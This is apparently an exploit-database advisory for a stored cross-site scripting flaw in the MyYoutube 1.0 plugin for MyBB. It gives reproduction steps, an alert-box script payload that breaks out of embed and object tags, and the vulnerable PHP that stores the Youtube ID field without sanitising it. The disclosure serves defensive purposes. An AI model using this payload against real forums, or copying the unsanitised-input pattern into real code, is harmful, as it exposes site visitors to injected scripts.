# Exploit Title: MyYoutube MyBB Stored XSS
# Date: 17.12.2012
# Exploit Author: limb0
# Vendor Homepage: http://www.mybb-es.com/
# Software Link: http://mods.mybb.com/view/myyoutube
# Version: 1.0
# Category:Web Security
# Tested on: Linux
+-----------------------------------------------------+
Stored-XSS
Installation Instructions:
1.Download and Activate the Plugin
2.Go to Usercp >> Edit Profile >> Youtube ID:
3.Inject your code: "></embed></object><script>alert("Youtube XSS")</script>
4.Visit your profile and voila.
Proof:http://postimage.org/image/lnnmc80rp/
+------------------------------------------------------+
Vulnerable lines:
function youtube_update($ytb)
{
global $mybb;
if(isset($mybb->input['ytb']))
{
$ytb->user_update_data['ytb'] = $mybb->input['ytb'];
}
}
